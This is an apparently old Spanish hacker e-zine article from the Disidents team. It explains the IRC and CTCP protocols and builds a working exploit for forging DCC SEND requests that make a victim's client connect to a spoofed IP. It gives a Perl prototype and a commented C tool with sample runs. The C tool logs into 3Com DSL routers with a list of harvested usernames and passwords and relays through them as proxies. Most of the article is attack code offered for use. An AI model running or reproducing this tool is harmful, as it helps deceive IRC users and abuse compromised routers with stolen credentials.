IRC y su famoso bug del dcc
This article is intended to be a text file.
                -+-| DisidentS Hack Journal #7 |-+-

  _____________________________________________________________________
  |                                                                     |
  | -- Titulo_____: IRC y su famoso bug del dcc                         |
  | -- Autor______: Sweet_Security                                      |
  | -- Team_______: Disidents España - http://www.disidents.com         |
  | -- Tema_______: DCC-IRC                                             |
  |_____________________________________________________________________|



|===========~ INDICE ~=================================================
|======================================================================
|=~ 0.Introducción                                                     |
|                                                                      |
|=~ 1.Primeros pasos con el protocolo IRC                              |
|                                                                      |
|=~ 2.Sentencia DCC SEND modificada                                    |
|                                                                      |
|=~ 3.Haciendo nuestro "Xploit"                                        |
|                                                                      |
|=   ~ 3.1.Boceto en PERL                                              |
|                                                                      |
|=   ~ 3.2.eXploit en C                                                |
|                                                                      |
|=~ 4.Conclusiones                                                     |
|=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=.
==================================~ INDICE ~============
=================================================================

.===============================================================.
|===========~ 0.Introducción  ~=======================================
|=====================================================================

Todos sabemos que es el mIRC o el BitchX o el X-Chat, y tambien sabemos
que usándolos nos conectamos a la red IRC que elijamos, pero sabemos realmente lo que hacen nuestros clientes IRC ? Sabemos cómo se identifican en el server?

Sabemos qué nos llega cuando recibimos un DCC SEND ? Se puede modificar?... Esas son las preguntas que responderé en este articulo, sé que hay muchas más, pero estas son las que nos ayudan a entender en que consiste el bug del DCC SEND.

Antes de empezar quiero dar gracias a w3ndig0, CO-fundador del team, por mostrarme la puerta hacia bug.

.================================================================.
|===========~ 1.Primeros pasos con el protocolo IRC  ~=============
|=================================================================

   Para empezar debemos tener claro como nos identificamos en la red a la que queramos conectar. Cuando nos conectamos a un servidor del IRC generalmente por el puerto 6667, lo primero que enviamos es la siguiente sentencia:

   "user [usuario] localhost localhost :[Identificador]"

donde usuario es el nick que queremos y Identificador nuestro IRCname.
Por ejemplo:

   "user Sweet_Security localhost localhost :Disidents"

En este caso tendríamos el nick Sweet_Security y el IRCname Disidents. Una vez enviada esta sentencia debemos decir qué nick queremos con la sentencia siguiente:

   "nick [nick]"

donde especificamos el nick que queremos, por ejemplo:

   "nick Sweet_Security"

una vez enviado el nick, deberíamos recibir algo como:

   "PING :898764326"

a lo que nosotros responderemos:

   "PONG :898764326"

Una vez hecho esto ya estaremos dentro del servidor y recibiremos un texto de presentación diciéndonos que ya estamos dentro del IRC y los modos que tenemos. Hasta aquí la manera de loguearse al servidor correctamente. Para comprobarlo simplemente hay que abrir una consola y poner:

   "telnet [server_irc] 6667"

Por ejemplo:

   "telnet irc.arrakis.es 6667"

y ver lo que nos va apareciendo siguiendo las órdenes especificadas anteriormente.

   Sweet_Security ~;> telnet irc.arrakis.es 6667
   Trying 212.59.199.131...
   Connected to atreides.landsraad.net.
   Escape character is '^]'.
   :atreides.irc-hispano.org NOTICE IP_LOOKUP :*** Found your hostname (CACHED!).

siguiendo los pasos anteriores ahora especificamos el comando user:

   user Sweet_Security localhost localhost :Disidents

y seguidamente el de nick:

   nick Sweet_Security

y nos aparece:

   user Sweet_Security localhost localhost :Disidents
   nick S_S
   PING :1827108888

a lo que nosotros respondemos:

   pong :1827108888

y ahora ya sí que el servidor nos da la bienvenida:

   pong :1827108888
   :atreides.irc-hispano.org 001 S_S :Welcome to the IRC-Hispano Internet Relay Network S_S
   :atreides.irc-hispano.org 002 S_S :Your host is atreides.irc-hispano.org,.....u2.10.H.09.13
   :atreides.irc-hispano.org 003 S_S :This server was created Mon ......7:50:16 MET
   :atreides.irc-hispano.org 004 S_S atreides.irc-hispan....g u2.10.H.09.....biklmnopstvrRM


Bueno, hasta aquí todo correcto y supongo que se entiende ahora vamos a profundizar en el DCC, óomo se envía y qué se recibe en el cliente al que deseamos enviar.

.===========================================================.
|===========~ 2.Sentencia DCC SEND  modificada~=================
|==============================================================

Siguiendo conectados por telnet en el IRC, ahora nos conectamos con un cliente y nos enviamos (al telnet) un archivo cualquiera, de manera que veremos que nos llega algo asi:

   "PRIVMSG S_S Sweet_Security :DCC SEND shadow 2657956389 23450 674"

Esta sentencia quiere decir lo siguiente:

   "PRIVMSG [su_nick] [our_nick] :DCC SEND [archivo] [IP] [puerto] [tamaño]"

   donde:

      [su_nick] -> nick de quién nos envía
      [our_nick] -> obvio
      [archivo] -> archivo que enviamos
      [IP] -> "ip" en unisgned long de su_nick escrita en HostByteOrder
      [puerto] -> puerto por el que nos invita a abrir conexión
      [tamaño] -> tamaño del archivo

+----------------------------------------------------------------------+
| NOTA: si hacemos "ping ip_en_long" nos saldra la IP escrita de       |
| la manera que todos conocemos, se pasa a long por simple protocolo.  |
| HostByteOrder es la orden en la que leen los bytes los PCs, y luego, |
| existe tambien NetworkByteOrder que es como navega por internet, en  |
| este caso sale en H.B.O. simplemente porque es el cliente el que ha  |
| de interpretarlo, no el hardware de inet.                            |
|                                                                      |
|    ejemplo:                                                          |
|   -------                                                            |
|      172.26.0.1 -> HostByteOrder                                     |
|      1.0.26.172 -> NetworkByteOrder                                  |
|                                                                      |
|                                                                      |
|   USUARIOS LINUX: man byteorder                                      |
|                                                                      |
+----------------------------------------------------------------------+

Mmmm... Vamos a ver que pasa si variamos la IP en long en nuestro PC:

   Sweet_Security ~;> ping 2657956387
   PING 2657956387 (XXX.YYY.50.35): 56 data bytes
   64 bytes from XXX.YYY.50.35: icmp_seq=0 ttl=241 time=103.9 ms
   ...


Perfecto, cada numerito tiene una IP asignada no hay ningun problema. Se podrá modificar este parámetro? Y el resto? Sí que se puede, puesto que el cliente IRC lo que hace es interpretar una información plana, ejecutar el comando que le llega si le dáis a "recibir", más o menos....Por lo tanto NO VERIFICA que la sentencia sea correcta y la podemos modificar a nuestro antojo.

Vamos a probar ahora nosotros de enviar algún archivo desde telnet con una sentencia similar, poniendo 2657956387 como IP en long e inventándonos el resto:

   "PRIVMSG S_S :DCC SEND shadowing 2657956387 3333 432"

Ahora leemos en el cliente "normal" y qué vemos? Mierda! Un puto privado que nos dice:

   "<Sweet_Security> DCC SEND shadowing 2657956387 3333 432"

¬¬' que triste... Ahí tenemos la prueba de que no es tan fácil como parece... Llegó el momento de hacer eso que muchos ya conocemos, leer :)

Por dónde empezar? Evidente, por el RFC del protocolo CTCP (Client-To-Client Protocol), porque DCC forma parte de él. A ver que pondrá...:

   "PRIVMSG victim :\001VERSION\001"

Anda coño! Ya sabemos como va la sintaxis del CTCP version, este RFC es realmente interesante jeje...

Probemos nosotros de hacer eso en el IRC por telnet, probemos por ejemplo un VERSION.

   En telnet:   "PRIVMSG S_S :\001VERSION\001"
   ~~~~~~~~~
   En IRC-Client:  "<Sweet_Security> \001VERSION\001"
   ~~~~~~~~~~~~~

Vaya...Esto sigue sin funcionar, que putada... Pero tranquilos eso es simplemente por el hecho que para que la sentencia sea correcta falta un carácter oculto al final de la sentencia, ese caracter es el "\r", ahora nos llega la pregunta... Cómo lo ponemos con el teclado? Pues la verdad, no lo sé xD. Más tarde veremos una manera de hacerlo ;).

Nos falta un carácter, pero la sentencia ya es la correcta, ya sabemos que debemos poner "\001" que, como pone en el RFC es un L-CHAR (LowChar), la "\" es para indicar que el numero que la sigue está en octal, y el número sirve para indicar que lo siguiente es un "comando" para el server. Hay que poner "\001" al principio y al final analogamente al caso del CTCP-VERSION.

En conclusión, hemos visto que para enviar un DCC simplemente tenemos que poner:

   "PRIVMSG [victima] :\001DCC SEND [archivo] [ip] [puerto] [tamaño]\001\r"

Se entendió todo? Espero que sí y si no lo he esplicado bien os leéis el RFC. La manera para saber IPs en LONG y para poner el "\r" al final de la sentencia que veremos en este artículos es haciendo un "xploit" que nos muestre exáctamente como funciona.

.=================================================================.
|===========~ 3.Haciendo nuestro "Xploit" ~========================
|==================================================================

Llegó la hora de experimentar. Para hacer el xploit primero lo hice en Perl chapuzeramente, os motraré ese programa pero será rápido y luego os mostraré el final, que está hecho en C y totalmente comentado línea a línea ;)

.================================================================.
|===========~ 3.1. Boceto en Perl ~================================
|==================================================================

Ahora lo haremos en PERL puesto que se programa más rápido y es más sencillo, por el momento haremos simplemente que envie una sentencia falsa y nada más. No nos encontrará la IP en long ni nada, simplemente enviará la petición. De IP en long ponemos 2657956389(XXX.YYY.50.37), para saber la IP en formato NUM.NUM.NUM.NUM simplemente hacer un "ping 2657956389" y la podréis identificar en la peticion.

dcc_fake.pl
------------------------------------------------------------------------
#!/usr/bin/perl

use IO::Socket;

#Creamos socket y conectamos
$sock=new IO::Socket::INET ( PeerAddr=> "194.149.73.80", #IP de hispano
              PeerPort=> 6667,
              Timewait=> 1 )
or die "No se pudo conectar con el servidor IRC\n";

#Parte de IDENTFICIACIÓN EN EL SERVER IRC

$sock->send("user Sweet_Security localhost localhost :idem\r"); #enviamos IDENT
$sock->send("nick Sweet_Security\r"); #decimos NICK

#Declaramos variables de recepción
$mensaje_recibido="";
$caracter_recibido;

#Variable de final de BUCLE al recibir PING
$PING=0;

while( $PING==0){
   $sock->recv($caracter_recibido,1); #Recibimos carácter a carácter

   #Añadimos el carácter al mensaje total
   $mensaje_recibido="$mensaje_recibido$caracter_recibido";

   #Imprimimos el carácter leído
   print "$caracter_recibido";

   #Si en el mensaje_recibido está la cadena "PING :"
   if( $mensaje_recibido=~/PING :/g){

      #Recibimos los numeros del PONG y los mostramos
      while( $caracter_recibido ne "\n"){
         $sock->recv($caracter_recibido,1);
         print "$caracter_recibido";
      }

      #Es momento de ponerlo y enviárselo
      print "Escribe el número anterior: ";
      $PONG=<STDIN>;

      #sacamos el \n
      chop($PONG);

      #enviamos el PONG
      $sock->send("PONG :$PONG\r");

      #activamos la salida del bucle
      $PING=1;
   }
}
#Escribimos info
print "Waiting....\n";
sleep 2; #Esperamos a que carbure el server
#Enviamos la sentencia falsa al nick S_S
$sock->send("PRIVMSG S_S :\001DCC SEND shadowing 2657956387 3333 432\001\r");
print "eXploiting!\n";

#Esperamos 3 segundos a que la reciba
sleep 3;
#Cerramos socket y programa
close($sock);
exit;
------------------------------------------------------------------------

Vamos a probarlo:

   Sweet_Security ~;> perl dcc.pl
   :luna.irc-hispano.org NOTICE IP_LOOKUP :*** Found your hostname (CACHED!).
   PING :1921276768
   Escribe el numero anterior: 1921276768
   Waiting....
   eXploiting!
   Sweet_Security ~;>

mmm... vamos a ver el resultado en el cliente xD

   -:- DCC GET ("shadowing") request from Sweet_Security[Sweet_Secu@AdBBif.BkHswL.virtual
             [XXX.YYY.50.35:3333]] 432 bytes
   CDCC Auto-geting file 165.shadowing from [Sweet_Security]
   -:- DCC Unable to create connection: Interrupted system call

Perfecto hace justo lo que debe hacer de manera efectiva y chapuzerilla pero es lo que hay amigos xD. Ahora haremos algo más "complejo".

.===================================================================.
|===========~ 3.2. eXploit en C ~===================================
|==================================================================

Bueno, llegó el momento de programar el xploit en C, no voy a hacer ninguna explicación adicional, porque opino que el código está más que comentado ;). Sólo diré que este xploit está preparado para leer de un archivo que os podéis montar si leísteis el articulo de la ezine anterior de los 3com 812. El archivo tiene un aspecto asi como:

Archivo.txt
------------------------------------------------------------------------
Sweet_Security <www.disidents.com> Ips Updated...

8X.X4.X.107:?????????????:?????????????:
8X.XX.1X.XX:????????????:?????:
8X.XX.14.X78:??????:????????:
8X.XX.1X.4:????????????:?????????:
8X.X4.1X.1X5:??????:????:
...
...
...

------------------------------------------------------------------------

Este archivo está estructurado de la siguiente manera:

   IP:USER:PASS:

Eso es muy importante puesto que es la base para poder interpretarlo. Bueno, dicho esto llegó la hora de poner el programa en C jeje. Ahi va:

dcc_fake.c
------------------------------------------------------------------------
/* This program is for educational porpuse only, DCC FALSIFICATION
 * use it at your own risk.
 *
 *    Sweet_Security from Disidents TeaM
 */

//Ficheros de cabecera totalmente necesarios
#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>

//Definimos las constantes que usaremos mas tarde en el programa

#define SERVER "194.149.73.80" //ip del server: luna.irc-hispano.org

#define NICK "S_S"  //nick con el que nos vamos a logear

#define iFILE "IPs_Checked.txt"//archivo del cual debemos leer la info de los
                               //proxy 3com

#define SEP ':'           //carácter que separa IP, USER i PASS en iFILE

//Final del mensaje de bienvenida del server, sin el primer carácter
#define SER_END "ound your hostname."

//Definimos la estructura que va a almacenar la informacion de la iP leída
typedef struct{
   char ip[15];    //almacena la IP
   char user[20];  //almacena el user
   char pass[20];  //almacena el pass
} ip_info;

//Función que nos da la información de la IP leída en iFILE
ip_info *get_ip(void)
{
   ip_info *info_ip; //estructura donde guardaremos la información
   int j,i,iaux=0,random;   //variables necesarias para contadores
   char string[60];  //string donde se guarda la línea leída
   FILE *f;     //puntero al fichero

   //Si no podemos encontrar el file damos un error
   if( (f=fopen(iFILE,"r"))==NULL ){
      printf("Bad input file, revise the code ;)\n");
      exit(1); //Y salimos del programa
   }
   //Reservamos espacio para almacenar la estructura
   info_ip=(ip_info *)malloc(sizeof(ip_info));

   //Situamos el puntero del fichero a la posicion de inicio
   fseek(f,0x33,0);

   //Leemos el total de Ips en el archivo
   i=0;
   printf("\n");
   while( fscanf(f,"%s\n",string)!=EOF ){
      i++;
      //Imprimimos lo que vamos leyendo
      printf("\r\tCounting IPs in file %s: %d ",iFILE,i);
   }

   //Volvemos a poner el puntero del archivo en el punto donde empiezan
   //las IPs
   fseek(f,0x33,0);

   //Hacemos el random
   srand(time(NULL));
   random=rand()%(i+1);
   for( i=0; i<random ; i++){
       fscanf(f,"%s",string);
   }

   //Leemos la IP objetivo
   fscanf(f,"%s",string);

   //Dividimos string en IP, USER i PASS y lo almacenamos en la estructura
   i=0;
   for(j=0;j<3;j++){

      //Mientras sea distinto al carácter separador
      while( string[i+iaux]!=SEP ){
         switch(j){

            //primero vez, guardamos IP
            case 0 : info_ip->ip[i]=string[i];
                break;

            //incremento del for, guardamos user
            case 1 : info_ip->user[i]=string[i+iaux];
                break;

            //segundo incremento del for, guardamos pass
            case 2 : info_ip->pass[i]=string[i+iaux];
                break;
         }
         //incrementamos i
         i++;
      }
      //guardamos el desplazamiento del string leido
      iaux=iaux+i+1;
      i=0;
   }

   //escribimos el resultado de la busqueda por pantalla
   printf("\nUsing 3com ( %d ) [ IP: %s | USER: %s | PASS: %s]\n",
      random,info_ip->ip,info_ip->user,info_ip->pass);

   //devolvemos la dirección en la que se encuentra la estrcuctura
   return info_ip;
}


void author(void)
{
        printf("\n\tCoded by Sweet_Security <sweet_security@disidents.com>\n");
   printf("\t\t Disidents TeaM <www.disidents.com>\n\n");
}

//Imprime la manera de usar el programa
void usage(char* arg)
{
   printf("\nF4K3 DCC P3T1T10N\n");
   printf("\nUsage: %s [victim] [ip] [port] [file] [size]\n",arg);
   printf("\n\tOPTIONS:\n");
   printf("\t\t[victim] - Nick of the victim\n");
   printf("\t\t[ip] - Ip to spoof\n");
   printf("\t\t[port] - Port to do petition\n");
   printf("\t\t[file] - File to \"send\"\n");
   printf("\t\t[size] - Size of file\n");
   author();
}



//Función principal
main(int argc,char *argv[])
{
   //Declaramos variables
   ip_info *info_ip;   //puntero al que se le asigna la dirección
                       //devuelta por get_ip

   int sock,prompt=0;  //descriptor del socket y variable de prompt
   char pong[20],true_pong[20]; //strings para guardar el pong
   unsigned long ip; //variable para guardar la IP en long
   int i; //contador
   struct hostent *ip_spoof; //guardamos la información para poder
                              //conectar mediante sockets
   struct sockaddr_in ip_info;
   char IP[15]; //guardamos la IP a spoofear
   char *message; //lo usaremos para almacenar lo que nos vaya llegando
   char telnet[100]; //lo usaremos para poner los comandos a la hora de
                     //conectar

   //Si los argumentos son incorrectos sale imprimiendo su uso
   if( argc!=6 ){
      usage(argv[0]);
      exit(0);
   }

   //Si la IP/HOST dada es incorrecta da error y sale
   if( ! (ip_spoof=gethostbyname(argv[2]))){
      fprintf(stderr,"Couldn't resolve host\n");
      exit(1);
   }

   //Imprime la presentación
   printf("\n\n\t\t\tF4K3 DCC P3T1T10N\n");
   author();

   //Imprime la primera información sobre la IP dada
   printf("HOST GIVEN [ %s ] ",argv[2]);   //argumento dado
   printf("and RESOLVED as [ %s ]\n",ip_spoof->h_name); //nombre devuelto

   //copiamos la IP en formato string NUM:NUM:NUM:NUM
   strcpy(IP,inet_ntoa(*((struct in_addr *)ip_spoof->h_addr)));
   printf("IP [ %s ] ",IP); //escribimos la IP en el formato string

   //pasamos IP a host byte order
   ip=ntohl(inet_addr(IP));

   //imprimos IP en host byte order
   printf("in LONG [ (H.B.O): %lu |",ip);

   //imprimimos la IP en network byte order
   printf(" (N.B.O): %lu ]\n",htonl(ip));

   //Buscamos el proxy y asignamos en info_ip lo que devuelve
   info_ip=get_ip();

   //Assignamos los valores correctos a la estructura ip_info
   ip_info.sin_family=AF_INET;
   ip_info.sin_port=htons(23);
   ip_info.sin_addr.s_addr=inet_addr(info_ip->ip);

   //ponemos a 0 el resto de la estructura
   bzero(&(ip_info.sin_zero),8);

   //Si no se puede crear el socket da un error y sale
   if( (sock=socket(AF_INET,SOCK_STREAM,0))==-1 ){
      fprintf(stderr,"Couldn't create socket\n");
      exit(1);
   }

   //Si no puede conectar también da un error y sale
   if( connect(sock,(struct sockaddr *)&ip_info,sizeof(struct sockaddr))==-1 ){
      fprintf(stderr,"Couldn't connect to remote host\n");
      exit(1);
   }

   //vamos grabando los comandos en strings para luego enviarlas
   sprintf(telnet,"%s\r",info_ip->user);
   send(sock,telnet,strlen(telnet),0);
   sprintf(telnet,"%s\r",info_ip->pass);
   send(sock,telnet,strlen(telnet),0);

   //reservamos espacio para leer de 1 en 1 los bytes recibidos
   message=(char *)malloc(sizeof(char));

   //mientras no se reciba el prompt del servicio
   while( prompt==0){
      recv(sock,message,1,0);

      //miramos si el carácter es \r
      if( *message=='\r'){
         recv(sock,message,1,0);

         //miramos si el carácter es \n
         if( *message=='\n' ){

            //en ese caso es el prompt y lo leemos
            prompt=1;
            printf("\nPrompt: ");

            //recibimos el prompt completo
            while( *message!=62 ){
               recv(sock,message,1,0);
               if( *message=='\n' ){
                  printf("\t\t\t[ FAILED ]\n");
                  close(sock);
                  exit(1);
               }
               printf("%c",*message);
               fflush(stdout);
            }
         }
      }
   }
   //Ponemos el OK
   printf("\t[ OK ]\n");

   //escribimos y enviamos comando
   sprintf(telnet,"telnet %s tcp_port 6667\r",SERVER);
   send(sock,telnet,strlen(telnet),0);

   //esperamos a que conecte
   printf("\n\t\tSleeping 5 seconds..Waiting for connection...\n\n");
   sleep(5);

   //vamos leyendo hasta recibir el final de la presentacion del IRC
   /*Recibimos estas tres lineas:
    * 3Com-DSL>telnet 194.149.73.80 tcp_port 6667
    * Trying 194.149.73.80 ...
    * :luna.irc-hispano.org NOTICE IP_LOOKUP :*** Looking up your hostname...
    * :luna.irc-hispano.org NOTICE IP_LOOKUP :*** Found your hostname.
    *
   */
   for( i=0; i<3 ;i++){
      while( *message!='\r' )
         recv(sock,message,1,0);
       recv(sock,message,1,0);
   }
   fflush(stdout);

   //ahora empezamos a identificarnos en la red IRC
   printf("Starting login process\n\n");
   sprintf(telnet,"\ruser %s localhost localhost :idem\r",NICK);
   send(sock,telnet,strlen(telnet),0);
   sprintf(telnet,"nick %s\n",NICK);
   send(sock,telnet,strlen(telnet),0);
   printf("\t[ OK ] LOGIN PROTOCOL\n");
   fflush(stdout);

   //una vez hecho el protocolo esperamos a recibir el PING
   while( *message!='P' ){
      recv(sock,message,1,0);
   }
   while( *message!=' ' ){
      recv(sock,message,1,0);
   }
   printf("\t[ OK ] PING\n");
   fflush(stdout);
   recv(sock,message,1,0);

   i=0;

   //recibimos el numero con el que tenemos que responder
   //y lo almacenamos en la string pong
   while( *message!=13){
      pong[i]=*message;
      i++;
      recv(sock,message,1,0);
   }

   //le ponemos el final de cadena a la string
   pong[i]='\r';
   printf("\t[ OK ] PONG\n"); //printeamos el buen funcionamiento de todo
   fflush(stdout);
   sprintf(telnet,"PONG %s",pong);
   send(sock,telnet,5+i+1,0); //enviamos el pong
   printf("\n\tEverything OK\n"); //Y ya estamos conectados
   printf("\neXploiting : Sending fake sentence.... "); //enviamos pues la
                                                   //sentencia falseada
   fflush(stdout);

   //la ponemos en la cadena telnet, con todas las variables
   sprintf(telnet,"privmsg %s :\001DCC SEND %s %lu %s %s\001\r",
                                     argv[1],argv[4],ip,argv[3],argv[5]);

   //y lo enviamos
   send(sock,telnet,strlen(telnet),0);

   //esperamos a que surja efecto
   sleep(2);
   printf("SENT!\n");

   //Hacemos que el bot este alive hasta que se presione "q" o bien
   //le llegue un PING y no sea respondido
   while(*message!='q'){
      printf("Press \"q\" and hit enter to quit BoT from IRC: ");
      fflush(stdout);
      *message=getchar();
      while( getchar()!=10);

   }
   //quitamos de IRC
   sprintf(telnet,"quit\r");
   send(sock,telnet,strlen(telnet),0);
   sleep(0.5);

   //quitamos del 3com
   send(sock,telnet,strlen(telnet),0);
   printf("Connection closed from remote host\n");

   //imprimimos el autor
   author();

   //y cerramos el socket
   close(sock);
}

------------------------------------------------------------------------


Supongo que el código está lo suficiente comentado verda? Llegó la hora de probarlo... Primero vamos a ver que tal va la ayuda xD:

   Sweet_Security ~;> ./dcc_fake

   F4K3 DCC P3T1T10N

   Usage: ./dcc_fake [victim] [ip] [port] [file] [size]

           OPTIONS:
              [victim] - Nick of the victim
         [ip] - Ip to spoof
         [port] - Port to do petition
         [file] - File to "send"
         [size] - Size of file

      Coded by Sweet_Security <sweet_security@disidents.com>
         Disidents TeaM <www.disidents.com>

   Sweet_Security ~;>

Vale ahora vamos a entrar en el IRC con el nick MYNICK y ejecutaremos el programa con los siguientes parametros:

   "./dcc_fake MYNICK www.nasa.gov 31337 shadow 677"

veamos el output del programa:

   Sweet_Security ~;> ./dcc_fake MYNICK www.nasa.gov 31337 shadow 677


                 F4K3 DCC P3T1T10N

      Coded by Sweet_Security <sweet_security@disidents.com>
         Disidents TeaM <www.disidents.com>

   HOST GIVEN [ www.nasa.gov ] and RESOLVED as [ www.nasa.gov.speedera.net ]
   IP [ 212.187.170.3 ] in LONG [ (H.B.O): 3569068547 | (N.B.O): 61520852 ]

      Counting IPs in file IPs_Checked.txt: 1753
   Using 3com ( 1423 ) [ IP: 2X7.X27.XX.XX6 | USER: adXiXXXXXor | PASS: XXXX]

   Prompt: Login incorrect [ FAILED ]
   Sweet_Security ~;>

Vaya hombre este está petado xD, no pasa nada, volvemos a ejecutar y listos, de momento vemos como nos muestra todas las maneras de expresar una IP y cómo nos busca la IP del 3com en el archivo e intenta buscar el prompt. Funciona !

Ahora repetimos la ejecución a ver que pasa:

   Sweet_Security ~;> ./dcc_fake MYNICK www.nasa.gov 31337 shadow 677


             F4K3 DCC P3T1T10N

      Coded by Sweet_Security <sweet_security@disidents.com>
          Disidents TeaM <www.disidents.com>

   HOST GIVEN [ www.nasa.gov ] and RESOLVED as [ www.nasa.gov.speedera.net ]
   IP [ 212.3.243.131 ] in LONG [ (H.B.O): 3557028739 | (N.B.O): 2213741524 ]

      Counting IPs in file IPs_Checked.txt: 1753
   Using 3com ( 1652 ) [ IP: 2XX.X7.X6.X1 | USER: XoXX | PASS: XXdXXX]

   Prompt: 3Com-DSL>       [ OK ]

         Sleeping 5 seconds..Waiting for connection...

   Starting login process

      [ OK ] LOGIN PROTOCOL
      [ OK ] PING
      [ OK ] PONG

      Everything OK

   eXploiting : Sending fake sentence.... SENT!
   Press "q" and hit enter to quit BoT from IRC: q
   Connection closed from remote host

      Coded by Sweet_Security <sweet_security@disidents.com>
         Disidents TeaM <www.disidents.com>

   Sweet_Security ~;>

Buenooo parece que esto funciona a la perfección por el momento xD. El bot permanece en el IRC hasta que se pulsa "q" y enter o bien no se responde el ping del servidor, ese caso no está controlado xD pero no creo que nadie lo quiera tanto rato, puesto que no hace falta una vez establecida la conexión entre VÍCTImA <-> IPsPOOFED.

Veamos lo que nos aparece en la parte del cliente:

   -:- DCC GET ("shadow") request from S_S[S_S@BtLsrR.DhePUl.virtual [212.3.243.131:31337]] 677 bytes
   CDCC Auto-geting file 356.shadow from [S_S]
   -:- DCC Unable to create connection: Connection refused

Perfecto ;) Mi PC intenta establecer la conexión pero el puerto está cerrado, que pasaría si estuviera abierto ?? Mírenlo ustedes mismos.

.==============================================================.
|===========~ 4. Conclusiones ~===============================
|==================================================================

Bueno, hasta aquí llegó el artículo sobre el DCC_FAKE, espero que les haya gustado. El xploit funciona bien, ya se que no es nada óptimo pero es lo que hay señores xD Hasta otra y cuidense.


         Cuando la oscuridad nuble tu camino, que la paranoia sea tu guía.

EOF